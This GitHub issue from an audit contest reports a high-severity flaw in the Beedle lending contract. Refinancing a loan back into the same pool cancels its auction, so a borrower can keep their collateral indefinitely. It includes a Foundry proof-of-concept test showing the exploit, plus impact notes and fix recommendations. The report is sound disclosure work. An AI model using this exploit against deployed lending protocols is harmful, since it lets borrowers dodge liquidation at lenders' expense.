Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Borrower can grief auction via refinancing back into the same pool to prevent their collateral from ever being seized #476

Open
codehawks-bot opened this issue Aug 7, 2023 · 0 comments

Comments

@codehawks-bot
Copy link

Borrower can grief auction via refinancing back into the same pool to prevent their collateral from ever being seized

Severity

High Risk

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L595

https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L692

Summary

Borrower can grief auction via refinancing back into the same pool to prevent their collateral from ever being seized.

Vulnerability Details

Lender.refinance():

  • allows refinancing back into the same pool,
  • never checks if the loan being refinanced is currently on auction,
  • resets loan.auctionStartTimestamp effectively cancelling any auction.

Add PoC to test/Lender.t.sol:

function test_borrowerGriefAuctionViaRefinance() public {
	// using modified setup from test_buyLoan()
	test_borrow();
	// accrue interest
	vm.warp(block.timestamp + 364 days + 12 hours);

	// find the poolId which will auction the loan
	bytes32 poolId = lender.getPoolId(lender1, address(loanToken), address(collateralToken));

	// kick off auction
	vm.startPrank(lender1);

	uint256[] memory loanIds = new uint256[](1);
	loanIds[0] = 0;

	lender.startAuction(loanIds);

	// auction has just been started, no time has even passed

	// stop lender1 prank
	vm.stopPrank();

	// attacker is the borrower who wants to prevent their
	// loan from being auctioned, can stop the auction by
	// refinancing back into the same pool. They can do this
	// as soon as the auction is launched to prevent their
	// collateral from ever being seized
	vm.startPrank(borrower);

	// prepare the payload
	Refinance memory r = Refinance({
		loanId: 0,
		poolId: poolId,
		debt: 100*10**18,
		collateral: 100*10**18
	});
	Refinance[] memory rs = new Refinance[](1);
	rs[0] = r;

	lender.refinance(rs);

	// verify that a buyer can't buy the auctioned loan
	address buyer = address(0x1234);
	vm.prank(buyer);
	vm.expectRevert();
	// will revert AuctionNotStarted
	lender.buyLoan(loanIds[0], poolId);
}

Impact

A hostile borrower who never intends on repaying their loan can use this exploit to prevent their collateral from ever being seized, since the only way to seize collateral is to run an auction & have that auction finish without any buyers. This results in a lender never being able to collect payment or seize the collateral; the borrower can maintain the loan indefinitely by using this exploit to immediately stop any auction of their loan.

Tools Used

Manual

Recommendations

Don't allow refinancing of loans that are currently being auctioned or have been auctioned but had no buyers (waiting to be seized). Consider whether refinancing back into the same pool is valid or not.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants